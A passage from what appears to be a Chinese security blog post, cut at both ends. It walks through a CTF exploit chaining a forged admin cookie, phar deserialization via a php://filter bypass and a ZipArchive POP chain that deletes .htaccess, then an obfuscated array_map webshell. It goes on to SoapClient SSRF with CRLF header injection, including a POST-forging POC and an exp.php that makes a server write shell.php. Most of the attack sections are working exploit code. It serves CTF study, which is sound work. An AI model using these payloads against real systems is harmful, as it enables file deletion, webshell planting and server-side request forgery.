password:admin</span>%<span style="color: rgba(128, 0, 128, 1)">80</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">90</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%<span style="color: rgba(0, 0, 0, 1)">00admin
$_Cookie[</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">'</span>] = 7e6270e35bf7b74982d8fff6382b5048</span></pre>
</div>
<p>访问index.php,使用上面的username,password重新登陆。在浏览器中设置cookie中user的字段,尝试上传1.php</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201014233636395-295466773.png" alt="" width="669" height="337" loading="lazy"></p>
<p>成功上传</p>
<p>同时也会看到上传目录下的<span style="background-color: rgba(255, 255, 153, 1)">.htaccess</span>文件,里面的内容为:<span style="background-color: rgba(255, 255, 153, 1)">lolololol, i control all</span>,这导致上传的php文件无法解析,比如访问刚刚上传的php文件</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201015001048239-803627424.png" alt="" width="670" height="187" loading="lazy"></p>
<p>考虑是否可以通过反序列化链删除/重写<span style="background-color: rgba(255, 255, 153, 1)">.htaccess</span>文件,或者修改文件的上传路径。</p>
<p>继续看upload_file()方法,发现当使用<span style="background-color: rgba(255, 255, 153, 1)">is_admin()</span>判断完后,又调用了一个<span style="background-color: rgba(255, 255, 153, 1)">check()</span>方法</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201015001409759-1339804245.png" alt="" width="528" height="155" loading="lazy"></p>
<p>是对上传文件的内容进行检测,如果出现system,eval,assert这类危险字段,程序就会报错退出。但是由于是黑名单校验,简单变形即可绕过。</p>
<p>继续看一下view.php文件</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201015002233720-1893471520.png" alt="" width="332" height="268" loading="lazy"></p>
<p>发现使用GET方法获取前端传进来的filename,filepath,实例化一个<span style="background-color: rgba(255, 255, 153, 1)">File</span>类的对象,将解码后filename,filepath传入类中,并调用<span style="background-color: rgba(255, 255, 153, 1)">view_detail</span>方法。</p>
<p>跟进<span style="background-color: rgba(255, 255, 153, 1)">File</span>这个类</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201015002916195-494346295.png" alt="" width="696" height="439" loading="lazy"></p>
<p><span style="background-color: rgba(255, 255, 153, 1)">view_detail</span>方法会先检测传进来的<span style="background-color: rgba(255, 255, 153, 1)">filepath</span>是否以phar,compress,zip...等字段开头。接下来使用<span style="background-color: rgba(255, 255, 153, 1)">mime_content_type</span>来检测文件mime类型。问题点就在这里触发,因为<span style="background-color: rgba(255, 255, 153, 1)">mima_content_type</span>可以使用<span style="background-color: rgba(255, 255, 153, 1)">phar://</span>触发phar反序列化(https://xz.aliyun.com/t/6057)。</p>
<p>虽然前面禁止phar出现在url开头,但是可以用<span style="background-color: rgba(255, 255, 153, 1)">php://filter/resource=phar://</span>绕过</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201015004103632-1716653789.png" alt="" width="627" height="288" loading="lazy"></p>
<p>既然可以进行反序列化,现在就需要寻找一条利用链来操控<span style="background-color: rgba(255, 255, 153, 1)">.htaccess</span>文件。</p>
<p>先来搜索类中可用魔术方法,在config.php文件的<span style="background-color: rgba(255, 255, 153, 1)">Profile</span>类中发现魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__call()</span>,里面实例化一个admin对象去调用open方法。这个时候就需要寻找包含open方法的内置类,在上面我们提到</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">ZipArchive::open()在PHP&gt;=<span style="color: rgba(128, 0, 128, 1)">5.2</span>.0的时候可以使用,其中flag参数如果设置为ZipArchive::OVERWRITE时,会删除指定文件</span></pre>
</div>
<p>可以通过<span style="background-color: rgba(255, 255, 153, 1)">ZipArchive</span>类调用open方法,并设置flag参数为<span style="background-color: rgba(255, 255, 153, 1)">ZipArchive::OVERWRITE</span>来删除<span style="background-color: rgba(255, 255, 153, 1)">.htaccess</span>文件,尝试来构造一个POP链:</p>
<p>1.&nbsp;Profile类中<span style="background-color: rgba(255, 255, 153, 1)">open</span>方法在魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__call</span>内被<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;admin</span>调用,存在同名open方法被php内置类<span style="background-color: rgba(255, 255, 153, 1)">ZipArchive</span>调用,利用此类下的open方法可以作文件删除。此时就需要把admin赋值为ZipArchive类的对象,并构造第一个参数为要删除的文件路径,第二个参数为<span style="background-color: rgba(255, 255, 153, 1)">ZipArchive::OVERWRITE</span></p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;admin = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> ZipArchive()
$</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;username = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">/var/www/html/sandbox/9106f3386017f844885379f269eb2bff/.htaccess</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
$</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;password = ZIPARCHIVE::OVERWRITE;</span></pre>
</div>
<p>2. <span style="background-color: rgba(255, 255, 153, 1)">__call()</span>方法在在对象调用不可访问的方法时触发,在<span style="background-color: rgba(255, 255, 153, 1)">File</span>类中的析构函数中存在<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;checker = upload_file()</span>,当给<span style="background-color: rgba(255, 255, 153, 1)">checker</span>赋值为<span style="background-color: rgba(255, 255, 153, 1)">Profile</span>类的对象,此时调用upload_file(),由于函数不存在。那么就会触发<span style="background-color: rgba(255, 255, 153, 1)">__call</span>魔术方法</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;checker = <span style="color: rgba(0, 0, 255, 1)">new</span> Profile()</span></pre>
</div>
<p>最终的调用链为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">Profile::open() &lt;-- Profile::__call &lt;-- File::__destruct</span></pre>
</div>
<p>从view.php文件中获取用户输入,并且实例化<span style="background-color: rgba(255, 255, 153, 1)">File</span>类的对象调用<span style="background-color: rgba(255, 255, 153, 1)">view_detail()</span>方法,在使用<span style="background-color: rgba(255, 255, 153, 1)">mimi_content_type()</span>检测上传文件头时,会对参数<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;filepath</span>进行<span style="background-color: rgba(255, 255, 153, 1)">phar://</span>反序列化,先来构造一个包含序列化payload的phar文件</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> File{

    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $filename;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $filepath;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $checker;

    function __construct($filename, $filepath)
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;filepath =<span style="color: rgba(0, 0, 0, 1)"> $filepath;
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;filename =<span style="color: rgba(0, 0, 0, 1)"> $filename;
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;checker = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Profile();
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Profile{

    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $username;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $password;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $admin;

    function __construct()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;username =<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">/var/www/html/sandbox/9106f3386017f844885379f269eb2bff/.htaccess</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;password = ZipArchive::OVERWRITE |<span style="color: rgba(0, 0, 0, 1)"> ZipArchive::CREATE;
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;admin = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> ZipArchive();
    }
}
$a </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> File(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">filename</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">filepath</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
@unlink(</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">joker.phar</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
$phar </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> Phar(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">joker.phar</span><span style="color: rgba(128, 0, 0, 1)">"</span>); <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">后缀名必须为phar</span>
$phar-&gt;<span style="color: rgba(0, 0, 0, 1)">startBuffering();
$phar</span>-&gt;setStub(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;?php __HALT_COMPILER(); ?&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span>); <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">设置stub</span>
$phar-&gt;setMetadata($a); <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">将自定义的meta-data存入manifest</span>
$phar-&gt;addFromString(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">test.txt</span><span style="color: rgba(128, 0, 0, 1)">"</span>, <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">test</span><span style="color: rgba(128, 0, 0, 1)">"</span>); <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">添加要压缩的文件
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">签名自动计算</span>
$phar-&gt;<span style="color: rgba(0, 0, 0, 1)">stopBuffering();
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201015203425882-1209825447.png" alt="" width="511" height="450" loading="lazy"></p>
<p>将生成的joker.phar上传上去</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201015224025274-1801576289.png" alt="" width="451" height="218" loading="lazy"></p>
<p>将构造的变形小马1.php传上去</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
$a </span>= $_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">a</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
$b </span>= $_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">b</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
$array[</span><span style="color: rgba(128, 0, 128, 1)">0</span>] =<span style="color: rgba(0, 0, 0, 1)"> $b;
$c </span>=<span style="color: rgba(0, 0, 0, 1)"> array_map($a,$array);
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201015231031618-121577125.png" alt="" width="464" height="228" loading="lazy"></p>
<p>访问上传上去的phar文件,这里需要注意在<span style="background-color: rgba(255, 255, 153, 1)">view_detail()</span>方法中对<span style="background-color: rgba(255, 255, 153, 1)">filepath</span>进行检测,禁止phar开头,需要使用<span style="background-color: rgba(255, 255, 153, 1)">php://filter/resource=phar://...../xxxx.phar</span>绕过</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201015230943716-200735366.png" alt="" width="957" height="119" loading="lazy"></p>
<p>触发反序列化链删除<span style="background-color: rgba(255, 255, 153, 1)">.htaccess</span>文件</p>
<p>访问上传上去的小马文件</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201015231146725-396646333.png" alt="" width="952" height="69" loading="lazy"></p>
<p>发现成功解析php文件,并获取flag</p>
<h2>原生类利用之SoapClient::__call</h2>
<h3>SoapClient::__call</h3>
<blockquote>
<p>SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。</p>
<p>其采用HTTP作为底层通讯协议,XML作为数据传送的格式</p>
<p>SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。</p>
</blockquote>
<p>官方手册中这样介绍</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201016233434627-1526528540.png" alt="" width="445" height="236" loading="lazy"></p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px"><span style="color: rgba(0, 0, 255, 1)">public</span> SoapClient :: SoapClient (mixed $wsdl [,array $options ])</span></pre>
</div>
<p>第一个参数为wsdl文件的uri,如果是<span style="background-color: rgba(255, 255, 153, 1)">NULL</span>意味着不使用WSDL模式。</p>
<p>第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201016234149739-184795954.png" alt="" width="755" height="255" loading="lazy"></p>
<p>php中的SoapClient类可以创建soap数据报文,在非wsdl模式下,SoapClient的实例反序列化的时候会对第二个参数指明的url进行soap请求,那就意味着可以通过该内置类来进行SSRF。</p>
<p>因为SoapClient类中提供了一个魔术方法__call(),这个魔术方法在对象中调用不可访问的方法时触发</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201016234824552-1663814350.png" alt="" width="532" height="227" loading="lazy"></p>
<p>测试下正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法</p>
<p>(如果想要使用SoapClient类需要在php.ini配置文件里面开启<span style="background-color: rgba(255, 255, 153, 1)">extension=php_soap.dll</span>选项)</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    $a </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> SoapClient(<span style="color: rgba(0, 0, 255, 1)">null</span>,array(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">uri</span><span style="color: rgba(128, 0, 0, 1)">'</span>=&gt;<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">xxx</span><span style="color: rgba(128, 0, 0, 1)">'</span>, <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">location</span><span style="color: rgba(128, 0, 0, 1)">'</span>=&gt;<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">http://127.0.0.1:5555/yyy</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">));
    $b </span>=<span style="color: rgba(0, 0, 0, 1)"> serialize($a);
    echo $b;
    $c </span>=<span style="color: rgba(0, 0, 0, 1)"> unserialize($b);
    $c</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">not_exists_function();
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201017145207570-917798292.png" alt="" width="854" height="197" loading="lazy"></p>
<p>当把上述脚本得到的序列化串进行反序列化(unserialize),并执行一个<span style="background-color: rgba(255, 255, 153, 1)">SoapClient</span>没有的成员函数时,会自动调用该类的<span style="background-color: rgba(255, 255, 153, 1)">__Call</span>方法,然后向<span style="background-color: rgba(255, 255, 153, 1)">target_url</span>发送一个soap请求,并且<span style="background-color: rgba(255, 255, 153, 1)">uri</span>选项是我们可控的地方。</p>
<p>在使用SoapClient类也会有CRLF注入的问题</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201017150009428-1854477477.png" alt="" width="560" height="100" loading="lazy"></p>
<p>可以看到options参数中还有一个选项为<span style="background-color: rgba(255, 255, 153, 1)">user_agent</span>,运行我们自己设置User-Agent的值。</p>
<p><span style="background-color: rgba(255, 255, 153, 1)">当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求</span>,因为Content-Type为和Content-Length都在User-Agent之下,而控制这两个是利用CRLF发送post请求最关键的地方。</p>
<p>简单进行测试</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    $a </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> SoapClient(<span style="color: rgba(0, 0, 255, 1)">null</span>,array(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">uri</span><span style="color: rgba(128, 0, 0, 1)">'</span>=&gt;<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">xxx\r\n\r\nzzz\r\n</span><span style="color: rgba(128, 0, 0, 1)">"</span>, <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">location</span><span style="color: rgba(128, 0, 0, 1)">'</span>=&gt;<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">http://127.0.0.1:5555/yyy</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">));
    $b </span>=<span style="color: rgba(0, 0, 0, 1)"> serialize($a);
    echo $b;
    $c </span>=<span style="color: rgba(0, 0, 0, 1)"> unserialize($b);
    $c</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">not_exists_function();
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201017150454612-1027389189.png" alt="" width="848" height="251" loading="lazy"></p>
<p>最后给出wupco师傅的生成任意POST报文的POC:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
  $target </span>= <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">http://123.206.216.198/bbb.php</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
  $post_string </span>= <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">a=b&amp;flag=aaa</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
  $headers </span>=<span style="color: rgba(0, 0, 0, 1)"> array(
      </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">X-Forwarded-For: 127.0.0.1</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,
  </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">Cookie: xxxx=1234</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">
  );
  $b </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> SoapClient(<span style="color: rgba(0, 0, 255, 1)">null</span>,array(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">location</span><span style="color: rgba(128, 0, 0, 1)">'</span> =&gt; $target,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">user_agent</span><span style="color: rgba(128, 0, 0, 1)">'</span>=&gt;<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">wupco^^Content-Type: application/x-www-form-urlencoded^^</span><span style="color: rgba(128, 0, 0, 1)">'</span>.join(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">^^</span><span style="color: rgba(128, 0, 0, 1)">'</span>,$headers).<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">^^Content-Length: </span><span style="color: rgba(128, 0, 0, 1)">'</span>.(<span style="color: rgba(0, 0, 255, 1)">string</span>)strlen($post_string).<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">^^^^</span><span style="color: rgba(128, 0, 0, 1)">'</span>.$post_string,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">uri</span><span style="color: rgba(128, 0, 0, 1)">'</span>      =&gt; <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">aaab</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">));

  $aaa </span>=<span style="color: rgba(0, 0, 0, 1)"> serialize($b);
  $aaa </span>= str_replace(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">^^</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">%0d%0a</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,$aaa);
  $aaa </span>= str_replace(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">&amp;</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">%26</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,$aaa);
  echo $aaa;
</span>?&gt;</span></pre>
</div>
<p>如果是GET请求的话,那么构造好location就行:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
  $url </span>= <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">http://127.0.0.1/flag.php</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
  $b </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> SoapClient(<span style="color: rgba(0, 0, 255, 1)">null</span>, array(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">uri</span><span style="color: rgba(128, 0, 0, 1)">'</span> =&gt; $url, <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">location</span><span style="color: rgba(128, 0, 0, 1)">'</span> =&gt;<span style="color: rgba(0, 0, 0, 1)"> $url));
  $a </span>=<span style="color: rgba(0, 0, 0, 1)"> serialize($b);
  $a </span>= str_replace(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">^^</span><span style="color: rgba(128, 0, 0, 1)">'</span>, <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\r\n</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">, $a);
  echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">|</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)"> . urlencode($a);
</span>?&gt;</span></pre>
</div>
<h3>利用场景:</h3>
<p>demo.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">if</span>($_SERVER[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">REMOTE_ADDR</span><span style="color: rgba(128, 0, 0, 1)">'</span>]==<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">127.0.0.1</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">){
    echo </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">hi</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    @$a</span>=$_POST[<span style="color: rgba(128, 0, 128, 1)">1</span><span style="color: rgba(0, 0, 0, 1)">];
    @eval($a);
}
</span>?&gt;</span></pre>
</div>
<p>exp.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
$target</span>= <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">http://127.0.0.1/demo.php</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
$post_string</span>= <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">1=file_put_contents("shell.php", "&lt;?php phpinfo();?&gt;");</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
$headers</span>=<span style="color: rgba(0, 0, 0, 1)"> array(
   </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">X-Forwarded-For:127.0.0.1</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,
   </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">Cookie:admin=1</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">
   );
$b</span>= <span style="color: rgba(0, 0, 255, 1)">new</span> SoapClient(<span style="color: rgba(0, 0, 255, 1)">null</span>,array(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">location</span><span style="color: rgba(128, 0, 0, 1)">'</span>=&gt; $target,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">user_agent</span><span style="color: rgba(128, 0, 0, 1)">'</span>=&gt;<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">wupco^^Content-Type:application/x-www-form-urlencoded^^</span><span style="color: rgba(128, 0, 0, 1)">'</span>.join(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">^^</span><span style="color: rgba(128, 0, 0, 1)">'</span>,$headers).<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">^^Content-Length:</span><span style="color: rgba(128, 0, 0, 1)">'</span>.(<span style="color: rgba(0, 0, 255, 